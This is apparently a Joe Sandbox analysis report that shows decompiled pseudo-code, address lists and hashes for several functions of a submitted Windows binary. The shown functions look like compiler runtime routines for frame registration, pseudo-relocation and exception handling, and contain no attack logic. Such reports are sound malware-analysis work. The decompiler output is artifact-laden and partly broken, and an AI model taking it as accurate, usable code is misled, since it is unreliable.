GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,004C388F), ref: 0043CC27
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,004C388F), ref: 0043CC2E
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,004C388F), ref: 0043CC3C

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 7896e5d9e40ed4e42039efdf54fc53c9cbd31b53e0e9438b1a28330daebc55bd
Instruction ID: 191014ced820e758643bda07c486ec701907013f1b91cd548b0dd83d15898508
Opcode Fuzzy Hash: 7896e5d9e40ed4e42039efdf54fc53c9cbd31b53e0e9438b1a28330daebc55bd
Instruction Fuzzy Hash: 1C615B746057018FC710DF29E8C4A2ABBF1FF99340F05952EE84997321DB34E849EB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043A660 Relevance: 18.1, APIs: 12, Instructions: 83
sleepCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E0043A660(void* __eax, void* __ecx, void* __edx) {
				char _v0;
				void* _v16;
				signed int _v60;
				intOrPtr _v68;
				long _v72;
				char _v220;
				char _v224;
				char* _v292;
				signed int __ebx;
				signed int __edi;
				intOrPtr __esi;
				char __ebp;
				struct HINSTANCE__* _t28;
				struct HINSTANCE__* _t31;
				_Unknown_base(*)()* _t32;
				CHAR* _t35;
				struct HINSTANCE__* _t37;
				void* _t43;
				void* _t44;
				void* _t46;
				_Unknown_base(*)()* _t47;
				void* _t48;
				void* _t50;
				void* _t52;
				char** _t53;
				char** _t54;
				struct HINSTANCE__** _t56;
				struct HINSTANCE__** _t57;

				_t48 = __edx;
				_t46 = __ecx;
				_t35 = __eax;
				_t43 = __eax;
				memset(__eax, 0, 0x20 << 2);
				_t52 = _t50 - 0xec + 0xc;
				_t44 = _t43 + 0x20;
				_t35[0x60] = 0x40000000;
				_t35[0x4c] = _v0;
				if(E004396E0(_t35,  &_v220) != 0) {
					L21:
					abort();
					abort();
					abort();
					abort();
					L004476B0();
					L004476B0();
					abort();
					abort();
					abort();
					abort();
					abort();
					abort();
					_push(_t48);
					_push(_t44);
					_push(_t46);
					_t53 = _t52 - 0x1c;
					 *_t53 = "libgcc_s_dw2-1.dll";
					_t28 = GetModuleHandleA(_t35);
					_t54 = _t53 - 4;
					if(_t28 == 0) {
						 *0x4ce004 = 0x43c7d0;
						_t47 = 0x43c580;
					} else {
						_t37 = _t28;
						 *_t54 = "libgcc_s_dw2-1.dll";
						_t31 = LoadLibraryA(??);
						_t56 = _t54 - 4;
						 *0x57ddf0 = _t31;
						_v292 = "__register_frame_info";
						 *_t56 = _t37;
						_t32 = GetProcAddress(??, ??);
						_t57 = _t56 - 8;
						_t47 = _t32;
						_v292 = "__deregister_frame_info";
						 *_t57 = _t37;
						 *0x4ce004 = GetProcAddress(??, ??);
						_t54 = _t57 - 8;
					}
					if(_t47 != 0) {
						_v292 = 0x57d01c;
						 *_t54 = 0x5400f8;
						 *_t47();
					}
					 *_t54 = E00401590;
					return E004014C0();
				} else {
					__edi =  *0x528234; // 0x2
					__eflags = __edi;
					if(__edi == 0) {
						__eflags =  *0x57d3f4;
						if( *0x57d3f4 == 0) {
							 *0x57d3f4 = 4;
							 *0x57d3f6 = 4;
							 *0x57d3f5 = 4;
							 *0x57d3f7 = 4;
							 *0x57d3fa = 4;
							 *0x57d3fb = 4;
							 *0x57d3f9 = 4;
							 *0x57d3f8 = 4;
							 *0x57d3ff = 0xc;
							 *0x57d400 = 0xc;
							 *0x57d401 = 0xc;
							 *0x57d402 = 0xc;
							 *0x57d403 = 0xc;
							 *0x57d404 = 0xc;
							 *0x57d3fd = 4;
							 *0x57d3fc = 4;
						}
					} else {
						__ecx =  *0x528238; // 0x0
						__eflags = __ecx;
						if(__eflags == 0) {
							asm("lock add dword [0x52823c], 0x1");
							if(__eflags == 0) {
								 *0x57d3f4 = 4;
								 *0x57d3f6 = 4;
								 *0x57d3f5 = 4;
								 *0x57d3f7 = 4;
								 *0x57d3fa = 4;
								 *0x57d3fb = 4;
								 *0x57d3f9 = 4;
								 *0x57d3f8 = 4;
								 *0x57d3ff = 0xc;
								 *0x57d400 = 0xc;
								 *0x57d401 = 0xc;
								 *0x57d402 = 0xc;
								 *0x57d403 = 0xc;
								 *0x57d404 = 0xc;
								 *0x57d3fd = 4;
								 *0x57d3fc = 4;
								 *0x528238 = 1;
							} else {
								__edx =  *0x528238; // 0x0
								__edi = Sleep;
								__eflags = __edx;
								if(__edx == 0) {
									do {
										Sleep(0);
										__eax =  *0x528238; // 0x0
										__esp = __esp - 4;
										__eflags = __eax;
									} while (__eax == 0);
								}
							}
						}
					}
					__eflags =  *0x57d3f8 - 4;
					if( *0x57d3f8 != 4) {
						goto L21;
					} else {
						_v224 = __ebp;
						__eflags =  *(__ebx + 0x63) & 0x00000040;
						if(( *(__ebx + 0x63) & 0x00000040) != 0) {
							 *((char*)(__ebx + 0x70)) = 0;
						}
						__eax =  &_v224;
						__edx =  &_v220;
						_v60 = 1;
						 *((intOrPtr*)(__ebx + 0x10)) =  &_v224;
						__eax = __ebx;
						_v68 = 4;
						_v72 = 0;
						__eax = E0043A380(__ebx,  &_v220);
						 *((intOrPtr*)(__ebx + 0x4c)) = __esi;
						__esp = __esp + 0xec;
						_pop(__ebx);
						return __eax;
					}
				}
			}

0x0043a661
0x0043a665
0x0043a66d
0x0043a671
0x0043a679
0x0043a679
0x0043a679
0x0043a67b
0x0043a68d
0x0043a699
0x004c5e70
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043a69f
0x0043a69f
0x0043a6a5
0x0043a6a7
0x0043a713
0x0043a71a
0x0043a71c
0x0043a723
0x0043a72a
0x0043a731
0x0043a738
0x0043a73f
0x0043a746
0x0043a74d
0x0043a754
0x0043a75b
0x0043a762
0x0043a769
0x0043a770
0x0043a777
0x0043a77e
0x0043a785
0x0043a785
0x0043a6a9
0x0043a6a9
0x0043a6af
0x0043a6b1
0x0043a791
0x0043a799
0x0043a7d0
0x0043a7d7
0x0043a7de
0x0043a7e5
0x0043a7ec
0x0043a7f3
0x0043a7fa
0x0043a801
0x0043a808
0x0043a80f
0x0043a816
0x0043a81d
0x0043a824
0x0043a82b
0x0043a832
0x0043a839
0x0043a840
0x0043a79b
0x0043a79b
0x0043a7a1
0x0043a7a7
0x0043a7a9
0x0043a7b0
0x0043a7b7
0x0043a7b9
0x0043a7be
0x0043a7c1
0x0043a7c1
0x0043a7c5
0x0043a7a9
0x0043a799
0x0043a6b1
0x0043a6b7
0x0043a6be
0x00000000
0x0043a6c4
0x0043a6c4
0x0043a6c8
0x0043a6cc
0x0043a6ce
0x0043a6ce
0x0043a6d2
0x0043a6d6
0x0043a6da
0x0043a6e5
0x0043a6e8
0x0043a6ea
0x0043a6f5
0x0043a700
0x0043a705
0x0043a708
0x0043a70e
0x0043a712
0x0043a712
0x0043a6be

APIs

Part of subcall function 004396E0: strlen.MSVCRT ref: 00439763

Sleep.KERNEL32 ref: 0043A7B7
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(?,?,20247C8B,?,004485F0,474E5543,0043B74E), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74CB4D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: abort$Sleepstrlen
String ID:
API String ID: 68130653-0
Opcode ID: 93c04fd82c04ad557c88bbfe5a4c57eb9c6a792ebd5accc35ed6ff348dc2d790
Instruction ID: d96e15d65491f68808c1534602bebdd9a58b94078d7f08be13e9f6c8e3d3c24e
Opcode Fuzzy Hash: 93c04fd82c04ad557c88bbfe5a4c57eb9c6a792ebd5accc35ed6ff348dc2d790
Instruction Fuzzy Hash: C7315EA01083C5CAF711CF28E848B167FF59B66308F04499DD6984B392D3BA444DE77B

Uniqueness

Uniqueness Score: -1.00%

Function 0043AAC0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

@, xrefs: 0043ABA2

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f7022d573860db35f23530885b48f85f28364b3e4d2edfe90b5951d826b054ab
Instruction ID: cff1c606ac76c1e3f0ec764a97855cf9105e6ef81df4b48233ac9b83d10e69c7
Opcode Fuzzy Hash: f7022d573860db35f23530885b48f85f28364b3e4d2edfe90b5951d826b054ab
Instruction Fuzzy Hash: ED4126719442414FEB25CF28808472BBBE2BF89324F19985FDE954B351C339EC96C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A850 Relevance: 16.5, APIs: 11, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dafaff19da54ab3acc176c310b27a1d0ae27b805b1472d6d2b368944975e7c36
Instruction ID: 6394ab9c86153f9339ab1a784c20937e5819b89630d14759bf2fee6e379150f6
Opcode Fuzzy Hash: dafaff19da54ab3acc176c310b27a1d0ae27b805b1472d6d2b368944975e7c36
Instruction Fuzzy Hash: 9DF046B08095200BFB28BF29A0C47773BE19F06338F0548AFD9400A307D23C9C968A9B

Uniqueness

Uniqueness Score: -1.00%

Function 0043A8C0 Relevance: 15.1, APIs: 10, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E0043A8C0(intOrPtr* __eax, intOrPtr* __ecx, CHAR* __edx) {
				void* _v16;
				intOrPtr* _v52;
				char _v220;
				intOrPtr* _v224;
				CHAR* _v248;
				intOrPtr* _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				signed int _v264;
				char* _v308;
				void* __edi;
				void* __ebp;
				void* _t23;
				struct HINSTANCE__* _t24;
				struct HINSTANCE__* _t27;
				_Unknown_base(*)()* _t28;
				void* _t35;
				CHAR* _t37;
				struct HINSTANCE__* _t38;
				intOrPtr* _t44;
				intOrPtr _t52;
				intOrPtr* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t58;
				void* _t60;
				intOrPtr* _t61;
				char** _t62;
				char** _t63;
				struct HINSTANCE__** _t65;
				struct HINSTANCE__** _t66;

				_t52 = 1;
				_t54 = __eax;
				_t37 = __edx;
				_t61 = _t60 - 0xfc;
				_v224 = __ecx;
				while(1) {
					_t23 = E004396E0(_t37,  &_v220);
					_t58 = (0 |  *((intOrPtr*)(_t54 + 0x10)) == _t37[0x48] - (_t37[0x60] >> 0x0000001f)) << 2;
					if(_t23 != 0) {
						break;
					}
					_t44 = _v52;
					if(_t44 == 0) {
						L10:
						if(_t58 != 0) {
							abort();
							abort();
							L004476B0();
							L004476B0();
							abort();
							abort();
							abort();
							abort();
							abort();
							abort();
							_push(_t58);
							_push(_t52);
							_push(_t54);
							_t62 = _t61 - 0x1c;
							 *_t62 = "libgcc_s_dw2-1.dll";
							_t24 = GetModuleHandleA(_t37);
							_t63 = _t62 - 4;
							if(_t24 == 0) {
								 *0x4ce004 = 0x43c7d0;
								_t55 = 0x43c580;
							} else {
								_t38 = _t24;
								 *_t63 = "libgcc_s_dw2-1.dll";
								_t27 = LoadLibraryA(??);
								_t65 = _t63 - 4;
								 *0x57ddf0 = _t27;
								_v308 = "__register_frame_info";
								 *_t65 = _t38;
								_t28 = GetProcAddress(??, ??);
								_t66 = _t65 - 8;
								_t55 = _t28;
								_v308 = "__deregister_frame_info";
								 *_t66 = _t38;
								 *0x4ce004 = GetProcAddress(??, ??);
								_t63 = _t66 - 8;
							}
							if(_t55 != 0) {
								_v308 = 0x57d01c;
								 *_t63 = 0x5400f8;
								 *_t55();
							}
							 *_t63 = E00401590;
							return E004014C0();
						} else {
							_t52 = _t52 + 1;
							E0043A850(_t37, _t44,  &_v220, _t52);
							continue;
						}
					} else {
						_v248 = _t37;
						_v252 = _t54;
						 *_t61 = 1;
						_v260 =  *_t54;
						_v256 =  *((intOrPtr*)(_t54 + 4));
						_v264 = _t58 | 0x00000002;
						_t35 =  *_t44();
						if(_t35 == 7) {
							 *_v224 = _t52;
							return _t35;
						} else {
							if(_t35 != 8) {
								break;
							} else {
								goto L10;
							}
						}
					}
					L24:
				}
				return 2;
				goto L24;
			}

0x0043a8c2
0x0043a8c8
0x0043a8cb
0x0043a8cd
0x0043a8d3
0x0043a92e
0x0043a934
0x0043a950
0x0043a955
0x00000000
0x00000000
0x0043a8e0
0x0043a8e9
0x0043a91c
0x0043a91e
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e0
0x004014e3
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x0043a920
0x0043a926
0x0043a929
0x00000000
0x0043a929
0x0043a8eb
0x0043a8eb
0x0043a8ef
0x0043a8f8
0x0043a8ff
0x0043a908
0x0043a90c
0x0043a910
0x0043a915
0x0043a974
0x0043a980
0x0043a917
0x0043a91a
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a91a
0x0043a915
0x00000000
0x0043a8e9
0x0043a966
0x00000000

Memory Dump Source

Source File: 00000000.00000002.249347391.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.249341615.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249587762.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.249592337.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250558409.0000000000528000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250768536.000000000052A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251207004.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251925946.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.251933608.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w5OsHBiADi.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 8defbe0d88945acf5f5643a8940e79c7f9f56f5f4c4bbff7ad1f62c488e03eb7
Instruction ID: 1d9ae8c43706ed5bebcd9e3f69fc3b1f22f89b2583e3d6e556ee19b8d511d592
Opcode Fuzzy Hash: 8defbe0d88945acf5f5643a8940e79c7f9f56f5f4c4bbff7ad1f62c488e03eb7
Instruction Fuzzy Hash: 7A11C071A493108BD724EF29D48162AB7E5EFC9314F119D3FE88893301D679C8058B96

Uniqueness

Uniqueness Score: -1.00%

Function 00437CA0 Relevance: 13.8, APIs: 9, Instructions: 259
memoryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00437CA0(signed int __eax, void* __edi, void* __esi) {
				void* _v16;
				char _v32;
				void* _v45;
				intOrPtr _v48;
				signed int _v52;
				signed int _v56;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v100;
				signed int _t60;
				void* _t65;
				int _t75;
				signed int _t81;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t97;
				signed int _t99;
				signed int _t100;
				signed int** _t102;
				signed int _t104;
				signed int _t107;
				signed int _t112;
				signed int _t113;
				signed int _t115;
				signed int _t119;
				signed int _t120;
				signed int _t123;
				void* _t125;
				intOrPtr _t129;
				char* _t130;
				signed char* _t132;
				signed int _t135;
				intOrPtr _t137;
				intOrPtr* _t141;
				void* _t146;
				void* _t147;
				char** _t148;
				intOrPtr* _t151;

				_t60 = __eax;
				_push(__edi);
				_push(__esi);
				_t147 = _t146 - 0x3c;
				_t97 =  *0x57d3bc;
				if(_t97 == 0) {
					 *0x57d3bc = 1;
					_t65 = E004386A0(0x0000001e + (E004384B0() + _t61 * 0x00000004) * 0x00000004 & 0xfffffff0);
					 *0x57d3c0 = 0;
					_t148 = _t147 - _t65;
					 *0x57d3c4 =  &_v45 & 0xfffffff0;
					_t60 = 0;
					__eflags = 0x53f020 - 7;
					if(0x53f020 <= 7) {
						goto L1;
					} else {
						__eflags = 0x53f020 - 0xb;
						_t119 =  *0x53f020;
						if(0x53f020 <= 0xb) {
							_t112 = 0x53f020;
							goto L18;
						} else {
							__eflags = _t119;
							if(_t119 == 0) {
								L27:
								__eflags =  *0x53f024;
								if( *0x53f024 != 0) {
									goto L5;
								} else {
									__eflags =  *0x53f028;
									if( *0x53f028 != 0) {
										_t112 = 0x53f020;
										goto L20;
									} else {
										_t119 =  *0x53f02c;
										_t112 = 0x53f02c;
										L18:
										__eflags = _t119;
										if(_t119 != 0) {
											goto L6;
										} else {
											_t60 =  *(_t112 + 4);
											__eflags = _t60;
											if(_t60 != 0) {
												goto L6;
											} else {
												L20:
												_t60 =  *(_t112 + 8);
												__eflags = _t60 - 1;
												if(__eflags != 0) {
													_v72 = _t60;
													 *_t148 = "  Unknown pseudo relocation protocol version %d.\n";
													E004C5E00(__eflags);
													_push(_t97);
													_t151 = _t148 - 0x18;
													_t102 = _v72;
													_t79 =  *( *_t102);
													__eflags = _t79 - 0xc0000091;
													if(_t79 > 0xc0000091) {
														__eflags = _t79 - 0xc0000094;
														if(_t79 == 0xc0000094) {
															_v100 = 0;
															 *_t151 = 8;
															L004475C0();
															__eflags = _t79 - 1;
															if(_t79 != 1) {
																goto L46;
															} else {
																_v100 = 1;
																 *_t151 = 8;
																L004475C0();
																_t81 = 0xffffffff;
															}
														} else {
															__eflags = _t79 - 0xc0000096;
															if(_t79 == 0xc0000096) {
																goto L52;
															} else {
																__eflags = _t79 - 0xc0000093;
																if(_t79 != 0xc0000093) {
																	goto L47;
																} else {
																	goto L45;
																}
															}
														}
													} else {
														__eflags = _t79 - 0xc000008d;
														if(_t79 >= 0xc000008d) {
															L45:
															_v100 = 0;
															 *_t151 = 8;
															L004475C0();
															__eflags = _t79 - 1;
															if(_t79 == 1) {
																_v100 = 1;
																 *_t151 = 8;
																L004475C0();
																E00437B20(_t79);
																_t81 = 0xffffffff;
															} else {
																L46:
																__eflags = _t79;
																if(_t79 != 0) {
																	 *_t151 = 8;
																	 *_t79();
																	_t81 = 0xffffffff;
																} else {
																	goto L47;
																}
															}
														} else {
															__eflags = _t79 - 0xc0000005;
															if(_t79 != 0xc0000005) {
																__eflags = _t79 - 0xc000001d;
																if(_t79 != 0xc000001d) {
																	goto L47;
																} else {
																	L52:
																	_v100 = 0;
																	 *_t151 = 4;
																	L004475C0();
																	__eflags = _t79 - 1;
																	if(_t79 == 1) {
																		_v100 = 1;
																		 *_t151 = 4;
																		L004475C0();
																		_t81 = _t79 | 0xffffffff;
																	} else {
																		__eflags = _t79;
																		if(_t79 == 0) {
																			goto L47;
																		} else {
																			 *_t151 = 4;
																			 *_t79();
																			_t81 = 0xffffffff;
																		}
																	}
																}
															} else {
																_v100 = 0;
																 *_t151 = 0xb;
																L004475C0();
																__eflags = _t79 - 1;
																if(_t79 == 1) {
																	_v100 = 1;
																	 *_t151 = 0xb;
																	L004475C0();
																	_t81 = _t79 | 0xffffffff;
																} else {
																	__eflags = _t79;
																	if(_t79 == 0) {
																		L47:
																		_t79 =  *0x57d3cc;
																		__eflags =  *0x57d3cc;
																		if( *0x57d3cc != 0) {
																			_v72 = _t102;
																			_t151 = _t151 + 0x18;
																			_pop(_t102);
																			goto __eax;
																		}
																		_t81 = 0;
																	} else {
																		 *_t151 = 0xb;
																		 *_t79();
																		_t81 = 0xffffffff;
																	}
																}
															}
														}
													}
													return _t81;
												} else {
													_t32 = _t112 + 0xc; // 0x53f02c
													_t141 = _t32;
													__eflags = _t141 - 0x53f020;
													if(_t141 >= 0x53f020) {
														goto L1;
													} else {
														_v56 = _t97;
														do {
															_t85 =  *_t141;
															_t97 =  *(_t141 + 8) & 0x000000ff;
															_t113 =  *((intOrPtr*)(_t141 + 4));
															_t125 = _t85 + 0x400000;
															_t86 =  *((intOrPtr*)(_t85 + 0x400000));
															__eflags = _t97 - 0x10;
															_t132 = _t113 + 0x400000;
															_v48 = _t86;
															if(_t97 == 0x10) {
																_t104 =  *(_t113 + 0x400000) & 0x0000ffff;
																_v52 = _t113;
																__eflags =  *(_t113 + 0x400000);
																_t105 =  <  ? _t104 | 0xffff0000 : _t104;
																_t106 = ( <  ? _t104 | 0xffff0000 : _t104) - _t125;
																_t107 = ( <  ? _t104 | 0xffff0000 : _t104) - _t125 + _v48;
																__eflags = _t107;
																_t60 = E00437B50(_t132, _t132, _t141);
																 *(_v52 + 0x400000) = _t107;
																goto L31;
															} else {
																__eflags = _t97 - 0x20;
																if(_t97 == 0x20) {
																	_t60 = E00437B50(_t132, _t132, _t141);
																	 *_t132 = _v48 - _t125 +  *_t132;
																	goto L31;
																} else {
																	__eflags = _t97 - 8;
																	if(__eflags == 0) {
																		_t115 =  *_t132 & 0x000000ff;
																		__eflags =  *_t132;
																		_t116 =  <  ? _t115 | 0xffffff00 : _t115;
																		_t117 = ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		_t94 = _t86 + ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		_t111 = _t86 + ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		_t60 = E00437B50(_t132, _t132, _t141);
																		 *_t132 = _t86 + ( <  ? _t115 | 0xffffff00 : _t115) - _t125;
																		goto L31;
																	} else {
																		_v72 = _t97;
																		 *_t148 = "  Unknown pseudo relocation bit size %d.\n";
																		_t60 = E004C5E00(__eflags);
																		goto L27;
																	}
																}
															}
															goto L61;
															L31:
															_t141 = _t141 + 0xc;
															__eflags = _t141 - 0x53f020;
														} while (_t141 < 0x53f020);
														_t100 = _v56;
														goto L11;
													}
												}
											}
										}
									}
								}
							} else {
								L5:
								_t112 = 0x53f020;
								L6:
								__eflags = _t112 - 0x53f020;
								if(_t112 >= 0x53f020) {
									goto L1;
								} else {
									_t7 = _t112 + 8; // 0x53f028
									_t135 = _t7;
									_v52 = _t97;
									_t120 = _t112;
									_t99 = _t135;
									_t10 = (0x53f027 - _t135 >> 3) * 8; // 0x53f028
									_v48 = _t112 + _t10 + 8;
									while(1) {
										_t129 =  *((intOrPtr*)(_t120 + 4));
										_t137 =  *((intOrPtr*)(_t129 + 0x400000)) +  *_t120;
										_t60 = E00437B50(_t129 + 0x400000, _t129, _t137);
										__eflags = _t99 - _v48;
										 *((intOrPtr*)(_t129 + 0x400000)) = _t137;
										_t120 = _t99;
										if(_t99 == _v48) {
											break;
										}
										_t99 = _t99 + 8;
										__eflags = _t99;
									}
									_t100 = _v52;
									L11:
									__eflags =  *0x57d3c0;
									if( *0x57d3c0 <= 0) {
										goto L1;
									} else {
										_t130 =  &_v32;
										do {
											_t75 =  *0x57d3c4 + (_t100 + _t100 * 4) * 4;
											_t123 =  *_t75;
											__eflags = _t123;
											if(_t123 != 0) {
												_t148[3] = _t130;
												_v64 = _t123;
												_v68 =  *((intOrPtr*)(_t75 + 8));
												_v72 =  *(_t75 + 4);
												_t75 = VirtualProtect(??, ??, ??, ??);
												_t148 = _t148 - 0x10;
											}
											_t100 = _t100 + 1;
											__eflags = _t100 -  *0x57d3c0;
										} while (_t100 <  *0x57d3c0);
										return _t75;
									}
								}
							}
						}
					}
				} else {
					L1:
					return _t60;
				}
				L61:
			}

0x00437ca0
0x00437ca3
0x00437ca4
0x00437ca6
0x00437ca9
0x00437cb1
0x00437cc0
0x00437cdc
0x00437ce1
0x00437ceb
0x00437cf4
0x00437cfe
0x00437d03
0x00437d06
0x00000000
0x00437d08
0x00437d08
0x00437d0b
0x00437d11
0x00437dd1
0x00000000
0x00437d17
0x00437d17
0x00437d19
0x00437e55
0x00437e5b
0x00437e5d
0x00000000
0x00437e63
0x00437e69
0x00437e6b
0x00437f06
0x00000000
0x00437e71
0x00437e71
0x00437e77
0x00437dd6
0x00437dd6
0x00437dd8
0x00000000
0x00437dde
0x00437dde
0x00437de1
0x00437de3
0x00000000
0x00437de9
0x00437de9
0x00437de9
0x00437dec
0x00437def
0x00437f10
0x00437f14
0x00437f1b
0x00437f20
0x00437f21
0x00437f24
0x00437f2a
0x00437f2c
0x00437f31
0x00437f80
0x00437f85
0x00437fd1
0x00437fd9
0x00437fe0
0x00437fe5
0x00437fe8
0x00000000
0x00437fea
0x00437fea
0x00437ff2
0x00437ff9
0x00437ffe
0x00437ffe
